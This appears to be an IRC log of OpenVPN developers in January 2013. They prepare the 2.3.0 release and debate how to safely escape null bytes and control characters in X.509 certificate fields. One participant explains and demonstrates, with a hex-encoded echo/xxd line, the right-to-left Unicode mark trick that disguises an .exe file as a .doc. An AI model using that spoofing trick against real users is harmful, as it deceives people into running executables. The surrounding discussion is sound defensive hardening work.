-!- raidz is now known as raidz_away 21:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 22:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Thu Jan 03 2013 02:20 <@andj> I went for the weekend extender too :) 02:22 <@mattock> andj: is that a new technique for reducing the length of the work week? 02:27 <@andj> hehe :)... No, that's just a hotel promo :) 02:27 <@mattock> yeah, I though so :) 02:28 <@mattock> actually, I meant initially intended to book a "Winter special" (3 days for price of 2) 02:28 <@mattock> I'm staying in Sofitel Brussels Europe this time 02:28 <@andj> I'm only staying for 2 nights, so no chance for me 02:28 <@andj> I'm staying at Arenberg 02:28 <@mattock> yeah, me too actually 02:29 <@andj> It's conveniently close to the station 02:29 <@mattock> I mean 2 nights 02:29 <@andj> and the bus line to FOSDEM 02:29 <@andj> and the beer event :) 02:29 <@mattock> :D 02:30 <@mattock> the beer event was interesting... a "bit" noisy and crowded, though :) 02:33 <@andj> yeah, but it gives you a chance for some informal chatting :) 02:34 <@mattock> I wonder if it's as crowded at the beginning of the event... 02:34 <@mattock> I don't think we went there early the last time 02:51 <@mattock> hmm, I wonder why Git fails on many of the buildslaves 02:51 <@andj> I'm arriving in Brussels around 20:00 02:52 <@mattock> I'll be there on Friday afternoon 02:54 <@mattock> dazo: is the Git failure on buildbots just a glitch/human error? 05:36 -!- dazo_afk is now known as dazo 05:42 <@dazo> mattock: the git failures was that I did a manual build request on a branch which didn't exist in openvpn.git ... only openvpn-testing.git .... and build slaves uses the former 06:14 <@mattock> ok, so all is in order 06:14 <@mattock> what's the status of the 2.3.0 release? 06:14 <@mattock> anything missing? 06:18 < plaisthos> sorry I run out of ciritical bugs *ducks* 06:22 <@d12fk> afaik the \0 embedding in RDNs fix it pending for 2.3 06:23 <@d12fk> or itsn't it critical enough? 06:25 <@dazo> d12fk: did you send a patch for it? 06:25 <@d12fk> no just pastebin'd it 06:26 <@d12fk> if you'd include it i could today 06:26 <@dazo> okay, then it has fallen out of my radar 06:26 <@dazo> I vaguely remember something about memcpy() -> memmove() ... but that's all I remember 06:27 <@d12fk> yes thats about the right corner of your brain =) 06:27 <@dazo> wohooo! ... it still works! :-p 06:27 <@d12fk> so, patch? 06:28 <@dazo> yeah, send a patch to ML ... and lets try to get at least cron2's attention (and hopefully andj too?) ... just to see if there are some more comments ... if no response, we'll apply it 06:30 <@dazo> d12fk: just a quickly refresh ... did this make it so that the whole buffer would be returned, or would it be NULL terminated on the first \0 byte? 06:30 <@andj> I'll have a look at it... 06:30 <@andj> Just tell me where it is :) 06:31 <@dazo> andj: what would be the proper behaviour in X.509 fields, if the data contains a \0 byte? .... Like: "John\0Doe" 06:33 <@andj> the proper way of handling it is as a buffer 06:33 <@dazo> that's what I thought 06:33 <@andj> But the problem is that they go to scripts and plugins 06:33 <@andj> so the next best thing is to give an error 06:33 <@dazo> yeah 06:34 <@andj> and document that fact clearly :) 06:34 <@d12fk> \0 is valid in ASN.1 strings but it reeks strongly. why would one embed an ASCII control character? 06:36 <@dazo> d12fk: to do exploits? 06:37 <@d12fk> the only sane explanation, the other would be unawareness 06:37 <@dazo> yeah 06:37 <@dazo> But I'd say we could probably fairly safely reject anything which has a character <0x20 .... with an error, and reject the connection 06:39 <@andj> the latter is rather important, mangling introduces new risks 06:40 <@andj> For plugins, passsing the subject as a buffer might actually be a better option 06:40 <@andj> It's environment variables I'm worried about 06:41 <@dazo> agreed 06:42 <@d12fk> the plugins won't receive the RDNs if we reject ASN.1 with characters < 0x20 06:43 <@dazo> For 2.3, I'm fine with that .... and we can see if we can improve this for 2.4, if it turns out to be a problem 06:43 <@d12fk> the high-level openssl functions escape ctrl chars like "\00" which is safe imho 06:44 <@dazo> well, the trick here is ... what does polarssl do? 06:44 * d12fk does not know 06:44 <@d12fk> it's dutch technology =) 06:44 <@dazo> heh :) 07:10 <@andj> I'll have a look in a sec, I think it follows some RFC 07:10 <@andj> (off the top of my head) 07:25 <@ecrist> plaisthos: ping 07:27 <@andj> The username is extracted raw, the subject is mapped to ascii by PolarSSL 07:28 <@andj> where characters: c<32, c==127, 128<c<160 are filtered out 07:29 <@andj> doesn't look like there's much unicode support there 07:45 <@d12fk> utf-8 should work 07:49 < plaisthos> ecrist: pong 08:01 <@dazo> d12fk: heading out for lunch now ... but it would be great to have a patch very this afternoon, so I can go ahead and tag the tree - to get 2.3.0 out the door 08:01 <@d12fk> will the one i pasted do or do you have any other reqs? 08:02 <@d12fk> will andj do one for polarssl? 08:04 <@dazo> d12fk: I think we should for 2.3, do the "error approach" if any control characters are found ... as truncating will be wrong as well (which I think was your approach) 08:04 <@d12fk> no, if the lengths do not match there will be an error, but i didn't care for others than 0x00 08:05 <@d12fk> should the others be filtered out like in polarssl? 08:06 <@dazo> oh I see ... I didn't remember all details .... but that makes somewhat sense, but I'm not a big fan of filtering out stuff ... I also don't see the risks of chars > 0x20 (I might not see all issues there, though) 08:07 <@dazo> so I'd put a vote for errors on any chars <0x20 ... and pass on others .... and polarssl will then do the additional filtering 08:08 <@d12fk> 127 is a control char as well 08:09 <@dazo> oh true, I mixed it with 255 08:09 <@dazo> (which is just a second space) 08:10 <@dazo> 127 should cause an error as well 08:10 <@d12fk> the other chack makes sense as well, as it couldnt be valid utf8 08:10 <@d12fk> i'll error in that case as well 08:11 <@dazo> okay, I'll leave that up to you :) 08:11 <@d12fk> mybe i'll just use the existing infrastructure of replacing stuff with _ 08:12 <@d12fk> that wont error than though 08:12 <@dazo> if you mean mangling .... I'm sceptical to that 08:12 <@d12fk> the way openssl does it is nice as you don't lose any info whe 0x19 -> \91 08:13 <@d12fk> \19 of course =) 08:13 <@d12fk> plus it would be consistent 08:13 <@d12fk> within the openssl world 08:14 <@dazo> Yeah, I can understand that ... but I'm thinking "why would anyone use control characters in certs?" .... and openssl got it's can of worms too ... so I'm thinking that being restrictive is a better approach, as it's recommended to use your own CA for these certificates 08:15 <@dazo> so any "non-logical" character should in this case be something odd - and unexpected ... so lets fail in these cases 08:17 <@d12fk> just saying bacause subject DNs will come out of openssl with \xx encoding of control chars 08:18 <@d12fk> 'll hack a patch now 08:18 <@dazo> oh, I see 08:18 * dazo didn't think about that one .... but true 08:19 <@dazo> thx for the hacking :) 08:19 * dazo heads out for an hour or so 08:35 <@d12fk> i wonder where the 160 in polarssl's 128<c<160 comes from 08:36 <@d12fk> should be 191 for utf-8. andj? 08:37 <@d12fk> ah nevermind 08:38 <@d12fk> this indeed prevents utf-8 as well 08:45 <@ecrist> plaisthos: would you like an openvpn host cloak? openvpn/developer/plaisthos ? 08:46 < plaisthos> ecrist: sounds nice 08:46 <@ecrist> kk, expect a pm from a netop is short order 08:49 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Changing host] 08:49 -!- plaisthos [~arne@openvpn/developer/plaisthos] has joined #openvpn-devel 08:49 <@ecrist> delivard! 08:50 < plaisthos> ecrist: thanks :) 08:50 <@ecrist> derp, I need to fix that 08:51 -!- plaisthos [~arne@openvpn/developer/plaisthos] has quit [Changing host] 08:51 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:51 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:52 <@ecrist> that fits better 08:52 <@plaisthos> utf-8 basically uses the whole range of values as far I can tell from the wikipedia page 08:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: Changing server] 08:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:59 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:12 <@cron2> dazo: why are you spamming me again with buildbot failures?! 09:12 <@dazo> again!? 09:13 <@dazo> cron2: I've not touched buildbot since all the successful builds yesterday 09:13 * dazo looks over at mattock 09:13 <@cron2> ah, so those have been stale builds hanging somewhere around mattock... 09:13 <@dazo> might be ... 09:27 <@andj> btw, we have a set op patches for polarssl 1.2 09:27 <@andj> support 09:27 <@andj> I suggest waiting for 2.3.1 :) 09:42 <@dazo> andj: makes sense 10:08 <@mattock> one buildslave was interrupted due to disk space running out, so it probably ran the faulty builds 10:08 <@mattock> later than the others 10:12 <@d12fk> dazo: around? 10:12 <@dazo> d12fk: U am 10:12 <@dazo> *I* 10:13 <@d12fk> looking at ssl_verify_openssl.c i found that the problem is solved differently in different spots 10:14 <@d12fk> grep for NAME_ENTRY 10:14 <@d12fk> i think we should treat it the same everywhere 10:15 <@d12fk> for the env it's done via string_mod() 10:15 <@d12fk> but the \0 is not handled so only part of the string will be mod'ed 10:16 <@d12fk> imho way to go is: detect \0 in ASN.1 bail out if so, then mod the string with _, maybe later do it the way ossl does it using \xx 10:16 <@dazo> d12fk: well, but string_mod() does this mangling we dislike, right? 10:16 <@dazo> string_mod (name_expand, CC_PRINT, CC_CRLF, '_'); 10:16 <@dazo> string_mod ((char*)buf, CC_PRINT, CC_CRLF, '_'); 10:17 <@d12fk> well info is lost this way other than that i dont dislike it 10:17 <@d12fk> hence to \xx encoding in the long term 10:17 <@d12fk> but thats probably too sophisticated to do now 10:18 <@dazo> tbh, I have a big dislike for the string_mod() approach ... as that just "hides" issues with data 10:18 <@dazo> (how do you separate a proper '_' from a mangled char to '_'?) 10:20 <@dazo> and string_mod() isn't UTF-8 aware either, iirc 10:20 <@d12fk> true, but i wouldn't solve this now 10:20 <@plaisthos> .oO(use U+FFFD, aka the replacement character for invalid encoding) 10:20 <@d12fk> it is, CC_PRINT is UTF8 preserving 10:22 <@d12fk> mattock: do users get notified when something happens with their ticket in trac? 10:23 <@mattock> current Trac: not sure 10:23 <@mattock> the upgraded one which I need to put online: yes, that's planned 10:24 <@mattock> I asked about that here a few weeks ago 10:24 <@dazo> d12fk: Oh, I see that ... but it doesn't account for invalid UTF-8 codes ... it would just pass as the "initial" UTF-8 extension would be correct :/ 10:25 <@d12fk> yes 10:25 <@dazo> but I'll grant you that that is a different issue, though ... not related to control chars 10:27 <@d12fk> invalid utf-8 doesn't harm anyone besides the human eye possibly 10:27 <@dazo> probably true 10:28 <@plaisthos> once you filtered all unicode control chars 10:28 <@ecrist> I think trac sends email by default on ticket updates/changes 10:28 <@dazo> it does 10:28 <@dazo> I get mails on changes I do on tickets ... and also responses, if I own tickets 10:28 <@ecrist> I know at $work we get emails on ticket changes, I had to look to make sure we didn't have any plugins installed 10:30 <@d12fk> ok, just wondered because the GUI crash guy didn't get back to me 10:31 <@d12fk> unicode ctrl chars? 10:31 <@plaisthos> d12fk: like these left-to-right and stuff 10:32 <@plaisthos> insert rtl code and perhaps all loglines after that are printed right to left 10:32 <@plaisthos> or something like that 10:32 <@d12fk> ok but again just font rendering or is there a attack known using these? 10:33 <@plaisthos> attacks on users: foo.[RTL].cod.exe which is displayed as foo.exe.doc 10:34 <@dazo> rtl and ltr control codes may actually be appropriate too ... writing arabic or hebrew names in log files, preserving the right "byte flow" writing the log file makes sense 10:35 <@d12fk> somehow it's always correct when i test with those 10:35 <@d12fk> just compied from wikipedia 10:36 <@d12fk> maybe i copy the chars in the reverse order already 10:41 <@plaisthos> In case you check check for correct encoding of unicode 10:42 <@plaisthos> even though it is not allowed single byte (escape codes) can also be encoded as multibyte 10:42 <@d12fk> normally invalid utf-8 framents lead to U+FFFD 10:43 <@plaisthos> or may be mapped to the correct short form 10:45 <@d12fk> i omehow feel that would be the presenting applications job rather than ovpn's 10:46 <@dazo> yeah, I can agree to that, partly ... except that openvpn acts as a proxy between the client and the (random) scripts 10:46 <@plaisthos> german wikipedia has an example »a« as 0 1100001 or as 10 00001 10 100001 10:46 <@dazo> and openvpn will be blamed, even by those providing CVE references if an issue is found 10:49 <@d12fk> blamed for what? 10:49 <@d12fk> my terminal seems to ignore the RTL mark 10:49 <@plaisthos> let me check ... 10:49 <@d12fk> echo "66696c656e616d652ee2808f636f642e6578650a" | xxd -r -p 10:50 <@d12fk> should print filename.exe.doc if the RTL mark is considered 10:50 <@d12fk> the rtl is the "e2808f" part btw 10:51 <@d12fk> following the first '.' (2e) 10:51 <@plaisthos> mine does really strange things ... 10:52 <@d12fk> hurt your eye? =) 10:53 <@plaisthos> http://blinkt.de/tmp/Bildschirmfoto%202013-01-03%20um%2017.52.03.png 10:53 <@dazo> looks like thai 10:53 <@plaisthos> dazo: it is hebrew 10:54 <@dazo> oh, right 10:54 <@plaisthos> look at the <string/> 10:54 <@plaisthos> wtf?! That file is well formed xml 10:55 <@plaisthos> the cocoa (mac os gui) version shows the file correct. With proper left to right. 10:57 <@d12fk> unicode apps should "detect" the script of a paragraph and apply directionautomatically, maybe <> act as a separator 10:59 <@d12fk> but, back to the actual starting point. what to do now with the string_mod() that exists for the env? 10:59 <@d12fk> i still believe detecting \0 and the mod()ing is the best for now 11:00 <@dazo> d12fk: what about to replace the whole env content with "<INVALID-DATA>" ? 11:00 <@dazo> Just to not fool anyone that what they got is proper data 11:01 <@dazo> and properly document that if you see that string, you need to double check that certificate ... to ensure it does contain only proper characters 11:03 -!- raidz_away is now known as raidz 11:03 <@d12fk> hm, somehow wrong too, because the rdn value could be "<INVALID-DATA>" just as well 11:03 <@d12fk> so you dont win anything compared to _ 11:03 <@d12fk> well, it's less likely, ok 11:04 <@dazo> <OPENVPN-ERROR:INVALID-DATA> 11:04 <@dazo> ? 11:04 <@dazo> ;-) 11:05 <@dazo> (and if anyone deliberately uses that string in a proper certificate .... they're just brain dead lusers who shouldn't touch anything with a keyboard or touch screen) 11:05 <@d12fk> make me implement proper escaping, do it! =) 11:05 <@dazo> :) 11:06 <@d12fk> ... tomorrow anyway =) 11:06 <@dazo> okay .... lets try again tomorrow ... and mattock will have the weekend to brew all the stuff 13:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:21 -!- raidz is now known as raidz_away 14:23 -!- raidz_away is now known as raidz 14:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 15:00 -!- dazo is now known as dazo_afk 15:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Jan 04 2013 02:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 02:50 -!- mattock is now known as mattock_afk 03:01 -!- mattock_afk is now known as mattock 03:04 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 03:05 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 244 seconds] 03:09 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 03:09 -!- mode/#openvpn-devel [+o andj] by ChanServ 03:16 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 05:24 -!- dazo_afk is now known as dazo 05:45 <@d12fk> ah se dazo returns, excellent 05:45 <@dazo> :) 05:47 <@d12fk> found a way to handle the asn1 strings as buffer while escaping according to rfc2253 (or differently if we want) with openssl onbord functionality, so the patch won't be terribly error prone 05:47 <@d12fk> so anything < 0x20 will become \xx encoded and utf-8 encoding is checked for validity also 05:50 <@d12fk> in C that is: "john\0doe" -> "john\\00doe" 05:51 <@dazo> andj: you around? any thoughts? 05:51 <@dazo> It makes sense to me, I just want to be sure I'm not alone in thinking so :) 05:51 <@d12fk> that is the way it's done for subject DNs already, so quite compatible 05:57 <@mattock> dazo: 2.3.0? 05:57 <@dazo> mattock: we have one final patch we're trying to get in shape from d12fk ... to sort out a nasty certificate issue 05:58 * dazo brb 05:59 <@d12fk> this could also get into 2.3.1 that follows shortly after 2.3 05:59 <@plaisthos> d12fk: and also \ to \\? 06:00 <@d12fk> yes 06:02 <@d12fk> all this is happening in openssl/crypto/asn1/a_strex.c:do_print_ex() takes a while to wrap your brain around the code though 06:02 <@d12fk> or maybe it's just mine that's not openssl shaped already =) 06:04 <@plaisthos> I always wondered what the _ex suffix stand for? 06:07 <@dazo> plaisthos: _ex is "extended" ... so when the openssl guys realised their first API sucked, they made an _ex variant which sucks less :) 06:07 <@dazo> (and iirc, the _ex variants are preferred over the non-_ex variants) 06:08 <@plaisthos> ah okay 07:46 * plaisthos ' config parser needs tuning: 07:46 <@plaisthos> proto udp 07:46 <@plaisthos> remote coaxvpn.xxxxxx.at 50016 tcp-client 07:47 <@plaisthos> does not work with my importer .... 08:35 <@d12fk> oh really, happy fixing your parser everytime an option changes then =P 08:38 * d12fk quickly dropped the idea of parsing configs after a short look at the manpage 08:57 < novaflash> hi guys :) 08:57 <@plaisthos> d12fk: works quite good ... 08:58 < novaflash> does anyone here know how to override the limit of 64 'remote' directives in one openvpn configuration file? 08:58 <@plaisthos> but I don't have a full parser. I only parse the subset that is used in my own configuration 08:59 <@plaisthos> and ignore a number of options 08:59 <@plaisthos> novaflash: edit the source recompile 08:59 < novaflash> i feared as much, it's a hardcoded limit 08:59 < novaflash> no easy directive to get by it ;) 08:59 <@plaisthos> from memory it is hardcoded 09:00 < novaflash> i can't find any information on a directive on this myself either, so i guess you're right 09:00 <@plaisthos> #define CONNECTION_LIST_SIZE 64 09:01 <@d12fk> options.h:150 09:01 <@plaisthos> d12fk: :) 09:02 < novaflash> gotcha, thanks. but i want this to work with standard client too so what i'll do is just randomize the server list and cut it off at 64 entries 09:02 <@d12fk> at your service =) 09:03 <@d12fk> hm, how's --x509-track different from the standard X509_n_x vars that are put into the env? 09:04 <@plaisthos> d12fk: you are just makeing up options. I never heard of that one :) 09:05 <@d12fk> q.e.d. 09:06 <@plaisthos> d12fk: parsing is much easier if you have a "custom option" textfield where options like this end up ;) 09:06 <@d12fk> indeed 09:08 <@plaisthos> novaflash: iirc the 2.3 version randomizes the ips from getaddr on each lookup you could use hostnames with multiple A records 09:08 < novaflash> i know plaisthos, but in china that's not going to function 09:14 <@plaisthos> yeah. Do you know if obfsproxy works for Chinese users? 09:14 < novaflash> i'm not sure, swg0101 knows more about this stuff 09:14 <@plaisthos> I am pondering with idea of putting an obfsproxy plugin into my app 09:14 <@ecrist> I think it used to 09:14 < novaflash> but i do know ssrelay will work well as well 09:14 <@ecrist> supposedly there was some upgrade to the great firewall that detects it 09:14 < novaflash> basically wrapping it in https packets 09:15 < novaflash> yes, about a month ago. very annoyings. 09:15 * ecrist just doesn't go to china 09:15 < novaflash> i'd like to sue them, but they might roll a tank over me 09:15 < novaflash> and last time i checked i'm not tank-proof 09:15 <@ecrist> they'd be good to sue - they have a lot of everyone's money 10:48 <@d12fk> oh boy, when you think you're almost done... 10:50 <@d12fk> i request permission to ignore the x509 extension part of --x509-track, it's just not going to work as the rest 10:51 <@d12fk> i'm atthe point where i'd just string_mod the living sh*t out of the value and be done with it 11:03 <@d12fk> wait maybe the intention behind --x509-track was to get the unescaped values in the first place? Looks like it as only \r\n are replaced with ? in the original code. anyone knows this kind of stuff besides james? 11:04 <@dazo> d12fk: All I know is that james introduced it ... no idea why he did that :/ 11:05 <@d12fk> 2.1.3e, hm no further info in the commit msg 11:06 <@dazo> sounds familiar :/ 11:06 <@d12fk> ah there: 11:06 <@d12fk> +/* 11:06 <@d12fk> + * setenv_x509_track function -- save X509 fields to environment, 11:06 <@d12fk> + * using the naming convention: 11:06 <@d12fk> + * 11:06 <@d12fk> + * X509_{cert_depth}_{name}={value} 11:06 <@d12fk> + * 11:06 <@d12fk> + * This function differs from setenv_x509 below in the following ways: 11:06 <@d12fk> + * 11:06 <@d12fk> + * (1) Only explicitly named attributes in xt are saved, per usage 11:06 <@d12fk> + * of --x509-track program options. 11:06 <@d12fk> + * (2) Only the level 0 cert info is saved unless the XT_FULL_CHAIN 11:06 <@d12fk> + * flag is set in xt->flags (corresponds with prepending a '+' 11:06 <@d12fk> + * to the name when specified by --x509-track program option). 11:06 <@d12fk> + * (3) This function supports both X509 subject name fields as 11:06 <@d12fk> + * well as X509 V3 extensions. 11:07 <@d12fk> so it's a less verbose replacement for the general env setting 11:08 <@d12fk> oh code was lost during the refactoring by andj, namely 5cdb5e0111df7b3d4da7e28390af6e4f26b2cdbe 11:09 <@dazo> was that the correct commitish? 11:10 <@dazo> $ git tag --contains 5cdb5e0111df7b3d4da7e28390af6e4f26b2cdbe 11:10 <@dazo> v2.3-alpha1 11:10 <@dazo> v2.3_alpha2 11:10 <@dazo> v2.3_alpha3 11:10 <@dazo> v2.3_beta1 11:10 <@dazo> v2.3_rc1 11:10 <@dazo> v2.3_rc2 11:10 <@d12fk> try git show 11:11 <@d12fk> the code is gone 11:11 <@dazo> I see it ... 11:11 <@d12fk> havent looked at the refactoring commit though maybe it's somewhere else 11:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:12 <@dazo> the more fun thing about that particular commit ... that one provides the same as the 'tls_digest_{depth}' env variable which got included in 2.2.0 .... and his commit came far after 2.2.0 had been released :-p 11:13 <@d12fk> ah so we're good 11:14 <@dazo> yeah, probably ... it might be AS chockes though ... but as we don't see that code, we can't tell 11:17 <@d12fk> still very obscure that in the regular env only CC_PRINT - CC_CRLF comes through in the values and with --x509-track CC_ANY - CC_CRLF 11:17 <@d12fk> the - reads as excluding 11:17 <@dazo> agreed 11:17 <@d12fk> the name is not escaped at all 11:18 <@d12fk> less paranoid over time 11:18 <@d12fk> would have expected the opposite correlation =) 11:18 <@dazo> heh ... very true 11:19 <@d12fk> i regret looking at the code now 11:19 <@d12fk> stuff like this makes me miserable 11:19 <@dazo> heh 11:19 <@d12fk> meh, screw you guys, im going home =) 11:20 <@dazo> looks like 2.3.0 needs to wait for next week now :/ 11:20 <@d12fk> not sure 11:20 <@dazo> ship it without this fix? 11:20 <@d12fk> press the button, this can wait for 2.3.1 as there's no pressing need i suppose 11:21 <@d12fk> besides the need for the release button to be pressed of course =P 11:21 <@dazo> :) 11:21 <@dazo> okay, that makes sense ... it's not a regression how I see it, so we're probably good to go then for 2.3.0 11:22 <@d12fk> maybe i could handcraft an ASN!_STRING from the extension buffer and hand that over to asn1_to_utf8 function i'm using everywhere else 11:23 <@d12fk> will be silly looking but might be the way out 11:23 <@dazo> yeah 11:24 <@d12fk> but then how to guess the correct type... 11:24 <@d12fk> IA5STRING, T61STRING, UTF8STRING? 11:24 <@dazo> ugh 11:32 <@d12fk> enough for today, heading home 11:43 <@cron2> let's ship 2.3.0, and fix that and whatever else comes up in 2.3.1 11:43 * cron2 has "support for snappy" on his todo for 2.3.1 12:35 -!- dazo is now known as dazo_afk 19:18 -!- raidz is now known as raidz_away 19:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 19:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Sat Jan 05 2013 01:52 <@mattock> 2.3.0 release early next week, then 02:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 04:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 17:20 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 248 seconds] 17:33 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 17:33 -!- mode/#openvpn-devel [+o andj] by ChanServ 17:49 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 17:51 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 17:51 -!- mode/#openvpn-devel [+o andj] by ChanServ 18:02 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 18:02 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:02 -!- mode/#openvpn-devel [+o andj] by ChanServ 18:12 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:12 -!- mode/#openvpn-devel [+o andj__] by ChanServ 18:15 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 272 seconds] 18:15 -!- andj__ is now known as andj 23:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Sun Jan 06 2013 00:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 13:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Operation timed out] 13:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 13:58 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Mon Jan 07 2013 04:52 -!- dazo_afk is now known as dazo 04:55 * dazo prepares the v2.3.0 source release now 05:01 <@mattock> nice! 05:25 <@plaisthos> :) 05:26 * plaisthos just got a strange crash from a user 05:26 * plaisthos hopes that it is not something like last crash 05:30 <@plaisthos> nah this time it looks even scarier ... :( 05:33 <@plaisthos> somewhere deep in libcrypto 05:38 <@cron2> plaisthos: we're not listening to you! (that bugfix will need to go into 2.3.1) 05:41 <@plaisthos> cron2: hehe 05:42 <@plaisthos> cron2: I have absolutly no idea where this bug is :) 05:45 <@plaisthos> cron2: I send you the stacktrace via private query. I am trying to get a better log from the user with verb 9 05:45 <@plaisthos> But from my first quick look the stacktrace *seems* to be on a not yet authenticated packet 05:48 <@dazo> mattock: see PM 05:50 * dazo pushes out the git tags 05:50 <@dazo> hmm .... need to do some more tweaks too :) 05:54 <@dazo> done! 06:12 <@cron2> dazo: cool :-) 06:12 <@cron2> plaisthos: ugh... 06:19 <@plaisthos> I will try to get more information about that crash 06:19 <@plaisthos> and take a better look at that stuff after work 06:36 * plaisthos sent a email out the VPN provider asking for a trial/free account to reproduce the bug 06:36 <@plaisthos> let see what happens 09:52 -!- dazo is now known as dazo_afk 09:58 -!- dazo_afk is now known as dazo 10:24 -!- dazo is now known as dazo_afk 11:06 -!- raidz_away is now known as raidz 14:17 <@ecrist> anyone around that can help me fix some language and understand a function? 14:21 <@ecrist> ping mattock 14:30 * ecrist gives up 19:20 -!- raidz is now known as raidz_away 22:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Jan 08 2013 00:14 -!- Netsplit *.net <-> *.split quits: ender| 00:22 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 01:43 <@mattock> ecrist: pong 02:18 <@mattock> mkay, on to 2.3.0 release 02:19 <@cron2> yay :) 02:20 <+krzee> and then, the world! 03:46 <@mattock> I'm already eagerly waiting for the 2.4_alpha1 release 04:06 -!- dazo_afk is now known as dazo 04:23 <@cron2> mattock: is 2.3.0 done now? 04:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 05:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:07 <+krzee> [08:06] <binBASH> krzee: Did I tell you that openvpn + ipv6 makes my fritz! box router go reboot? :D 06:07 <+krzee> haha 06:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 06:41 <@cron2> bad fritz 07:19 <@ecrist> any way we can get that man page change in 2.3? 07:22 <@dazo> ecrist: How I understood Davide Brini and cron2, the current doc is accurate .... or did I misunderstand something? 07:22 <@dazo> ecrist: 2.3.0 is sealed ... so any changes will anyway need to come in 2.3.1 07:23 <@ecrist> ok, I think they're wrong. I'm going to dig deeper (their replies went to my spam, so I've seen them, now) 07:24 <@plaisthos> 1 07:25 <@ecrist> this could be a difference between TUN/TAP behavior, too 07:25 <@dazo> How I understand --client-to-client ... it means that clients can connect to each other - without entering the tun adapter ... it might behave somewhat different in tap mode, as there you have Ethernet frames and broadcast traffic 07:26 <@ecrist> dazo: in my experiences, you can't firewall the client-to-client traffic without the client-to-client option (without it, they can't talk to eachother anyways, so you'd HAVE to have it in order for them to see traffic) 07:27 <@ecrist> as improbable as it is, I may be mistaken. ;) 07:27 <@ecrist> I'll set up some test VPNs and verify my thoughts 07:27 <@ecrist> we had a users in the main channel verify it yesterday, though 07:29 <@dazo> ecrist: was that TUN or TAP? 07:30 <@dazo> because that doesn't really make sense, in how openvpn is designed ... but there's a lot of implementation details which works differently from what you'd expect too ;-) 07:32 <@ecrist> dazo: it was TAP 07:33 <@ecrist> his use-case was OSPF 07:33 <@ecrist> and the proper multicast stuff doesn't work with TUN, so he switched to TAP. Also, he wanted to firewall traffic, and that started working when he added client-to-client (not before) 07:34 <@ecrist> So, at least with TAP, the packets aren't exposed to the kernel unless client-to-client is enabled 07:34 <@ecrist> this is something I've known, and would be expected, in my understanding 07:34 <@ecrist> like I said, I'll build some test VPNs and actually verify my results with 